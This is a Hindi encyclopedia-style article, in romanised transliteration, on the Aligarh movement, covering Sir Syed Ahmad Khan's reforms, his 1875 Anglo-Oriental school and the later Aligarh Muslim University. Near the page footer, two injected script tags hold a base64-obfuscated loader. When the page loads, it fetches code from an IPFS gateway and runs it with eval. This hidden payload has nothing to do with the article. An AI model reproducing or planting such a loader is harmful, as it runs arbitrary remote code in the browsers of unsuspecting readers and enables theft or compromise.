अलीगढ़ आन्दोलन
thumb|220px|sar saiyyad ahamad khaan aligadh andolan ki shuruat aligadh (uttar pradesh) se huee thi. is andolan ke sansthapak sar saiyyad ahamad khaan the. unhoanne 'piri-muridi pratha'[1] evan 'das pratha' ko samapt karane ka prayatn kiya. sar saiyyad ahamad khaan ne 1875 ee. mean aligadh mean ek ‘aianglo muslim skool’ jise 'aiangloan oriyantal skool' bhi kaha jata tha, ki sthapana ki. is kendr par muslim dharm, pashchaty vishay tatha vidvanh jaisi sabhi vishayoan ki shiksha di jati thi.
andolan ke neta
dilli mean paida hue saiyyad ahamad ne 1839 ee. mean eest iandiya kampani mean naukari kar li. kampani ki nyayik seva mean kary karate hue 1857 ee. ke vidroh mean unhoanne kampani ka sath diya. 1870 ee. ke bad prakashit 'dablyoo. hantar' ki pustak 'indiyan musalaman' mean sarakar ko yah salah di gee thi ki ve musalamanoan se samajhauta kar tatha unhean kuchh riyayatean dekar apani or milaye. sar saiyyad ahamad khaan dvara sanchalit 'aligadh andolan' mean unake atirikt is andolan ke any pramukh neta the-
- najir ahamad
- chirag ali
- altaph husain
- maulana shibali nomani
islam dharm mean sudhar
‘indiyan musalaman’ ke sujhav par british sarakar ne sar saiyyad ahamad khaan ko aangrezoan ke viruddh taiyar kiya. sar saiyyad ahamad khaan ne muslim samuday ko adhunik banane evan islam dharm mean vyapt buraeeyoan ko door karane ka prayatn kiya. unhoanne 'piri-muridi pratha' evan 'das pratha' ko samapt karane ka prayatn kiya. unake vichar unaki patrika ‘tahajib ul akhalak’ mean milate haian. unhoanne quran par tika likhi tatha eeshvari jnan ko vyakhya eeshvari kary dvara hone ki bat kahi. saiyyad ahamad ne apane sudhar prayasoan dvara muslim uchch varg ka utthan karana chaha.
aligadh vishvavidyalay ki sthapana
sar saiyyad ahamad khaan ne 1875 ee. mean aligadh mean ek ‘aianglo muslim skool’ jise 'aiangloan oriyantal skool' bhi kaha jata hai, ki sthapana ki. is kendr par muslim dharm, pashchaty vishay tatha vidvanh jaisi sabhi vishayoan ki shiksha di jati thi. 1920 ee. mean yahi kendr aligadh muslim vishvavidyalay ke roop mean samane aya. sar saiyyad ahamad khaan ne bharatiy rashtriy kaangres ki sthapana ka svagat nahian kiya, kyoanki unhe ashanka thi ki kalantar mean yah sanstha matr hinduoan ki sanstha hokar rah jayagi.
aangrezoan ke prati nishtha vyakt karane ke uddeshy se sar saiyyad ahamad khaan ne 'rajabhakt musalaman' patrika ka prakashan kiya tatha banaras ke raja shivaprasad ke sath milakar 'deshabhakt esosieshan' ki sthapana ki. sar saiyyad ahamad khaan ne 1865 ee. mean 'saintifik sosaiti' ki sthapana ki, jisake madhyam se aangrezi bhasha ki pustakoan ka urdoo mean anuvad kiya jata tha.
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ pir log apane shishyoan ko kuchh rahasmayi shabd dekar guru ban jate the.
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>